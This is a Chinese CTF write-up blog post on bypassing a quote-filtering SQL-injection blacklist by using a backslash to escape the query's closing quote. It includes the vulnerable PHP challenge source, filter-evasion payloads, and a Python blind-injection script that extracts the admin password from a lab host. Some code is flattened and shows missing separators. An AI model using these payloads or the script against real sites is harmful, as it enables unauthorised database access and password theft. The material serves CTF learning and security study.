被过滤了引号的SQL注入如何破?


在去年十月份的时候本菜参加了一场CTF比赛,有一道过滤了单引号的SQL注入当时并没有做出来,让我一直心心念念。今天在做CISCN2019 总决赛 EasyWeb题的时候受到了启发,终于解开了一个心头的包袱。


    先祭出当时比赛的原题,高手请一笑而过。。


<?php include "./config.php";include "./flag.php";error_reporting(0);echo "<h1><strong><b>Welcom to MiniInject</b></strong><br></h1>";
$blacklist = "/admin|guest|limit|by|substr|mid|like|or|char|union|select|greatest|%00|\'|";$blacklist .= "=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
if(preg_match($blacklist, $_GET['user'])) exit("Something wrong!");if(preg_match($blacklist$_GET['pw']))exit("Something wrong!");
$query="select user from chal where user='$_GET[user]' and pw='$_GET[pw]'"$userstr = "user:$_GET[user]";$pwstr = "pass:$_GET[pw]";
$result = mysqli_query($conn,$query);$result = mysqli_fetch_array($result,MYSQLI_ASSOC);$admin_pass = mysqli_fetch_array(mysqli_query($conn,"select pw from chal where user='admin'"),MYSQLI_ASSOC);
echo "<h1><strong><b>{$userstr}</b></strong><br></h1>";echo "<h1><strong><b>{$pwstr}</b></strong><br></h1>";

if($result['user']) echo "<h2><br>Welcome {$result['user']}<br></h2>"
if(($admin_pass['pw'])&&($admin_pass['pw'] === $_GET['pw'])){ echo $flag;}
?>

经过这道题,深深的感受到,如果输入的数据能打破数据和代码的分界,就能造成漏洞。

以常规的SQL注入为例,
select pwd from user where name='admin';

代码就是两个单引号之外的一切。数据就是单引号中间的admin。

假如我们输入admin'union select database()#,我们输入的单引号就打破了这种边界,而单引号之后的一切就是我们攻击的代码。
最终
select pwd from user where name='admin' union select database()#';

难道打破这种边界的只有单引号吗??

当然不是,一直以来忽略了一个重要的字符。
转义字符 \


转义字符,顾名思义,就是改变字符本来的意义。比如本来有一个字符n,这是一个小写字母。如果在前面加上转义字符\,这个字符就变成了回车。各种编程语言就用这种方式来让你输入不可见字符。同时由于一个字符串的边界是引号,所以,想要在字符串内写一个引号的话也需要转义,就变成了\'和\"。


这道题,如果我们在user字符输入转义字符,那么传入SQL数据库引擎的就变成了

select user from chal where user='admin\' and pw='pwd'




我们将第一个单引号转义了!最终数据库将查询一个名为admin\' and pw=的用户,而我们在pw字段随意输入的一切将被当作SQL语句!


我们如果在使用00截断后面的语句,这道题就变成了一道盲注题。


/?user=\&pw=||(1);%00 /?user=\&pw=||(0);%00 


剩下的就比较简单了。


使用/**/来替代空格。


使用regexp来代替like。


使用lpad来代替substr。


使用十六进制编码代替字符串。


最终的payload


?user=d\&pw=||(lpad(pw,1,0x2a)regexp/**/0x61);%00

然后编写个脚本跑一下就能拿到admin的密码。

import requestsimport stringimport itertools
flag = ''done = Falselarger_url = f"http://192.168.99.1/?user=d\&pw=||(lpad(pw,%d,0x2a)regexp/**/%s);\x00"
true_string = 'Welcome admin'waf_string = 'Something wrong!'
import binasciiflag = ''for i in itertools.count(1):    for j in range(ord('A'), ord('z') + 1): purl = larger_url % (i, '0x' + str(binascii.hexlify(bytes(flag+chr(j),'ascii')),'ascii')) res = requests.get(purl) if true_string in res.text: flag = flag +chr(j) print(flag) break elif waf_string in res.text: print('waf detected!') exit() else: print('not exists %d' % i) breakprint(repr(flag),len(flag))


©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,711评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,079评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,194评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,089评论 1 286
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,197评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,306评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,338评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,119评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,541评论 1 306
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,846评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,014评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,694评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,322评论 3 318
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,026评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,257评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,863评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,895评论 2 351

推荐阅读更多精彩内容

  • SQL注入是CTF的WEB方向必不可少的一种题型,斗哥最近也做了一些在线题目,其中最常见的题目就是给出一个登录界面...
    漏斗社区阅读 22,690评论 0 7
  • 最近两周刷了一下sqli-labs,对sql注入有了一个基本的认识。这里写个总结。 1.sql注入原理简单介绍在一...
    jun123123阅读 1,331评论 1 3
  • 这是个笔记,没自己试过,就是涨姿势的。很好的资料:随笔分类 - sqli-labs通关详解[%5Bhttps://...
    yumiii_阅读 2,518评论 2 10
  • 注入攻击的分类 1.没有正确过滤转义字符 在用户的输入没有为转义字符过滤时,就会发生这种形式的注入式攻击,它会被传...
    查无此人asdasd阅读 1,609评论 0 5
  • 最完美的黄金分割是60%比上40%,最佳的点是0.618! 这是一个神秘的数字,也是一个完美的数字,在任何的情况下...
    佟言佟语阅读 341评论 0 1